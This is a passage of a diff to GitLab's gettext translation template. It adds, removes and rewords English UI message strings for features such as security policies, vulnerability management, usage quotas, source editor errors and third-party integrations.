+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -31117,6 +31661,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -31138,6 +31685,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -31357,7 +31910,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -31390,6 +31943,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31528,6 +32084,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31732,9 +32291,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31834,7 +32390,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31846,6 +32411,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31891,6 +32459,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31972,6 +32543,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -32029,9 +32603,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -32109,9 +32680,6 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -32178,6 +32746,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -32193,6 +32782,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -32241,18 +32833,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32623,6 +33206,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32707,9 +33296,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32986,9 +33572,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -33007,6 +33590,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -33160,9 +33770,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -33307,6 +33914,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -33328,7 +33938,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -33337,6 +33947,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -33358,6 +33971,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -33373,6 +33992,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -34364,10 +34986,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34631,7 +35253,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34667,7 +35289,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34876,9 +35501,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -35011,9 +35633,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -35068,6 +35687,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -35164,9 +35786,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -35179,9 +35798,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35557,6 +36173,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35575,12 +36194,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35629,6 +36242,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35683,12 +36302,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35698,6 +36320,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35833,9 +36458,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35878,6 +36500,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35977,7 +36602,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36527,6 +37152,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36551,6 +37179,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36656,10 +37287,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36680,9 +37311,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36743,6 +37371,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36916,7 +37547,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36973,6 +37604,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -37171,9 +37808,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -37279,6 +37913,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -37363,9 +38000,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37474,6 +38108,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37516,6 +38153,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37525,9 +38165,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37540,9 +38177,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37597,12 +38231,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37612,9 +38240,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37627,9 +38261,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37663,18 +38294,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37720,9 +38339,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37915,9 +38531,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -38221,9 +38834,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38449,6 +39059,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38473,6 +39095,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38576,6 +39201,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38689,6 +39317,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38701,9 +39332,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38719,6 +39347,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38728,7 +39359,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38740,6 +39374,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38764,9 +39401,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38779,10 +39422,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38956,7 +39599,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -39262,6 +39905,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -39274,7 +39920,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39450,6 +40096,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39459,7 +40111,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39573,6 +40225,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39846,13 +40501,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39888,6 +40540,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39918,12 +40573,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39975,6 +40636,14 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -40023,6 +40692,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -40158,9 +40830,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -40245,7 +40914,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -40311,6 +40980,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40503,6 +41178,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40520,15 +41198,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40538,6 +41210,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40606,9 +41281,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40707,6 +41379,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40740,9 +41415,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40916,6 +41588,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40925,6 +41600,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40951,6 +41629,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40987,6 +41668,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -41372,21 +42056,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -41542,9 +42214,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
